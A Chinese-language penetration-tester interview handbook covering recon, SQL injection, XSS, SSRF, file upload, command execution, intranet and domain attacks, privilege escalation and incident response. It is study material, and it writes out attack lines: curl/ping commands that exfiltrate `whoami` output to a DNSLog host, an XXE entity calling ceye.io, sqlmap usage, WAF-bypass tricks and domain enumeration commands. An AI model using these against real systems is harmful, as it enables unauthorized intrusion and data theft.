渗透测试工程师最新面试题(干货)
字数 3678 2025-08-11 08:35:53
渗透测试工程师全面知识手册
渗透测试流程
1. 信息收集阶段
-
域名信息收集
- 获取域名的whois信息(注册者邮箱、姓名、电话等)
- 查询服务器旁站及子域名站点(主站防护较强时可从旁站突破)
-
服务器信息探测
- 操作系统版本识别
- Web中间件识别(IIS、Apache、Nginx等)及已知漏洞检查
- IP地址端口扫描(常见端口如MySQL-3306、FTP-21、SSH-22等)
-
网站结构探测
- 目录结构扫描(使用dirsearch、dirb、ffuf等工具)
- Google Hacking技术探测后台、敏感文件
- 网站架构探测(JS版本、CMS类型、中间件信息)
-
资产收集工具
- 灯塔系统
- OneForAll-master
2. 漏洞扫描
工具使用:
- AWVS
- Nessus
- AppScan
- Xray
手动测试重点:
- SQL注入
- XSS跨站脚本
- CSRF跨站请求伪造
- XXE漏洞
- SSRF服务端请求伪造
- 文件包含/上传/解析漏洞
- 远程代码执行
- 越权访问
- 反序列化漏洞
3. 漏洞利用
常见利用方式:
- SQL注入:使用sqlmap
- XSS跨站脚本:使用Beef-XSS
- 文件上传漏洞:上传一句话木马
- 抓包工具:Burp Suite
4. 权限提升
提权方法:
-
MySQL提权:
- mof提权
- udf提权
- 反弹shell提权
-
Windows提权:
- 溢出提权
-
Linux提权:
- 脏牛漏洞(CVE-2016-5195)
- Polkit漏洞(CVE-2021-4034)
5. 日志清理
6. 报告编写
- 总结测试过程
- 提供修复方案
业务逻辑漏洞
1. 越权漏洞
- 水平越权:修改参数查看他人信息(如订单或个人资料)
- 垂直越权:普通用户获取管理员权限
2. 密码找回漏洞
- 攻击方式:分析数据包获取用户凭证
- 防御措施:
- 不将token等验证数据直接返回客户端
- 用户身份验证必须在后端实现
3. 支付逻辑漏洞
- 攻击方式:修改请求中的金额参数
- 防御措施:
- 对敏感信息加密并在服务端校验
- 添加防重放token
4. 验证码漏洞
- 类型:
- 暴力破解
- 重复使用
- 绕过(验证码与用户不在同一请求校验)
5. 重放攻击
- 攻击方式:伪造IP多次重复请求
- 防御措施:
- 添加token
- 添加时间戳
护网蓝队工作
1. 日常工作
- 实时监控设备,分析日志及流量
- 记录并上报危险攻击事件
- 及时封禁攻击IP
- 编写日报及总结报告
2. Windows应急响应
- 检查弱口令
- 检查高危端口开放情况
- 检查可疑账号
- 分析事件日志(eventvwr.msc)
3. 设备误报处理
- 外网误报:升级策略
- 内网误报:与负责人协商,必要时添加白名单
安全设备
常见安全设备
- 入侵防御系统(IPS)
- 入侵检测系统(IDS)
- 防火墙(火绒、安全管家等)
- WAF(如安全狗)
- 日志审计系统
- 堡垒机
- 蜜罐(如T-Pot)
- 漏洞扫描系统(AWVS、Nessus)
渗透测试技术详解
1. SQL注入
分类:
- 基于时间的盲注
- 基于布尔的盲注
- 基于报错的注入
- 基于数字型的注入(联合查询、堆查询、宽字节注入)
防御措施:
- 使用预编译语句
- 过滤特殊符号
- 检查变量数据类型和格式
- 使用白名单验证输入
常用SQL语句:
-- 获取数据库名
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA
-- 获取表名
SELECT TABLE_NAME FROM information_schema.TABLES
-- 获取字段名
SELECT * FROM information_schema.COLUMNS WHERE TABLE_NAME="users" AND TABLE_SCHEMA="security"
-- 获取数据
SELECT id,username,password FROM users
WAF绕过技巧:
- 大小写替换
- 关键字替换
- 编码(16进制、Unicode)
- 插入注释
- 使用特殊符号
- 缓冲区溢出
sqlmap使用:
# GET型注入
sqlmap -u "注入点网址"
# POST型注入
sqlmap -u "注入点网址" --data="post的参数"
# Cookie/X-Forwarded-For注入
sqlmap -r "抓包文件"
2. XSS跨站脚本攻击
分类:
- 反射型(非持久型)
- 存储型(持久型)
- DOM型
防御措施:
- 使用XSS Filter
- 输入过滤(合法字符、长度限制、格式验证)
- 输出编码:
- < → <
-
→ >
- & → &
- " → "
- ' → '
- 内容安全策略(CSP)
3. CSRF跨站请求伪造
防御措施:
- 验证HTTP Referer字段
- 在请求中添加token并验证
- 在HTTP头中自定义属性并验证
4. SSRF服务端请求伪造
防御措施:
- 限制协议(仅允许http/https)
- 限制IP
- 限制端口(80,443等常见端口)
- 过滤返回信息
- 统一错误信息
检测方法:
- 有回显:尝试加载http://www.baidu.com确认漏洞
- 无回显:
- 使用DNSLog平台
- 使用Burp Collaborator
- 检查服务器日志
5. 文件上传漏洞
利用方式:
- 直接上传WebShell
- 绕过防护:
- 前端校验:上传允许类型后修改后缀
- MIME校验:修改Content-Type
- 利用CMS通用漏洞
WAF绕过:
- 数据溢出
- %00截断
- 去掉双引号
- 后缀大小写绕过
6. 文件解析漏洞
常见解析漏洞:
- Apache:从右向左解析,不能解析则向前跳
- Nginx:
- 畸形解析漏洞
- 空字节代码执行漏洞
- IIS 6.0:
- 目录解析(/xx.asp/xx.jpg)
- 文件解析(test.asp;.jpg)
7. 文件包含漏洞
分类:
- 本地包含
- 远程包含
防御措施:
- 禁止加载外部实体
- 过滤用户提交的XML数据
8. 命令执行漏洞
常见危险函数:
- system()
- exec()
- shell_exec()
- eval()
- passthru()
绕过技巧:
- 使用管道符(|、&、||、&&)
- 使用特殊符号(引号、$等)
- DNSLog带出命令结果:
# Linux curl http://`whoami`.uvlmxy.dnslog.cn ping `whoami`.uvlmxy.dnslog.cn # Windows ping %USERNAME%.uvlmxy.dnslog.cn - 编码(如base64)
9. XXE漏洞
防御措施:
- 禁用外部实体:
libxml_disable_entity_loader(true); - 过滤关键词:<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC
内网渗透
渗透流程
- 攻击外网服务器获取权限
- 利用外网服务器作为跳板
- 攻击内网其他服务器
- 获取敏感数据
信息收集命令
ifconfig # 查看IP
route # 查看路由
arp # 查看ARP列表
sysinfo # 系统信息
getwd # 当前目录
getpid # 进程号
run get_local_subnets # 查看网段与掩码
多层内网渗透
- 上传msf到第一层主机
- 添加第二层网络路由,启用代理
- 利用第二层主机添加第三层网络路由
- 设置端口转发(lcx、ew、socks)
提权技术
Linux提权
- 内核漏洞提权:
- CVE-2016-5195(脏牛漏洞)
- CVE-2021-4034(Polkit漏洞)
- SUID提权
- 第三方软件提权
Windows提权
- 系统漏洞提权
- 服务提权
- 令牌窃取
应急响应流程
- 准备阶段:明确资产范围,进行安全加固
- 检测阶段:
- 使用
netstat -ano查看端口连接 - 使用
tasklist | find "PID"定位进程 - 分析系统日志(eventvwr.msc)
- 使用
- 抑制阶段:隔离受影响系统
- 根除阶段:找出攻击源头并遏制
- 恢复阶段:从可信备份恢复系统
- 总结阶段:记录有效手段和方法
反序列化漏洞
PHP反序列化
关键魔术方法:
- __construct():对象创建时调用
- __destruct():对象销毁时调用
- __toString():对象被当作字符串使用时调用
- __sleep():序列化前调用
- __wakeup():序列化后立即调用
防御措施:
- 对反序列化数据加密或签名
- 添加认证授权
- 限制反序列化服务仅在本地监听
- 禁止使用存在漏洞的第三方库
- 过滤危险函数
溯源技术
1. 攻击源捕获
- 安全设备报警
- 日志与流量分析
- 服务器资源异常
- 钓鱼邮件分析
- 蜜罐系统信息
2. 溯源方法
- IP定位技术
- 域名WHOIS查询
- 恶意样本分析
- 威胁情报平台
OWASP Top 10
- 失效的访问控制
- 加密机制失效
- 注入
- 不安全设计
- 安全配置错误
- 自带缺陷和过时的组件
- 身份识别和身份验证错误
- 软件和数据完整性故障
- 安全日志和监控故障
- 服务端请求伪造
域渗透
渗透思路
- 通过域成员主机定位域控制器IP及域管理员账号
- 利用域成员主机作为跳板
- 从内存中dump域管理员密码
- 拿下域控制器控制整个内网
常用命令
dsquery server # 获取域控制器IP
net group "domain controllers" /domain # 获取域控制器主机名
net group "domain admins" /domain # 查询域管理用户
net user /domain # 查看所有域用户
登录界面测试思路
- Cookie属性安全检查(HttpOnly)
- 响应头缺失检查(X-Content-Type-Options等)
- CORS漏洞检查
- 敏感信息明文传输检查
- 不安全的HTTP方法检查(DELETE、PUT等)
- 账号密码爆破测试
- 验证码漏洞测试
- 短信爆破测试
- Host头攻击测试
- 用户枚举测试
- 万能密码测试
- SQL注入测试
- 中间件漏洞检查
- 未授权访问测试
DNSLog使用
应用场景:
- SQL盲注
- 无回显XSS
- 无回显命令执行
- 无回显SSRF
常用平台:
- http://www.dnslog.cn/
- http://ceye.io/records/dns
使用示例:
<!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\aa">
代码审计要点
1. 审计方法
- 使用自动化工具扫描(如easy源代码审计系统)
- 手工审计关键词:
- SQL注入:select、delete、update、insert
- 文件上传:upload、write、fileName、filePath
- 命令执行:eval、system、exec
2. 常见脚本工具
- dirsearch:目录扫描
- OneForAll:资产搜集
- sqlmap:SQL注入
- jquery脚本:检查jquery版本漏洞
- GUI-Tools:渗透测试集成工具
安全开发建议
- 了解常见高危漏洞原理
- 定期进行安全培训
- 实施安全编码规范
- 使用安全开发框架
- 定期代码审计
- 建立安全测试流程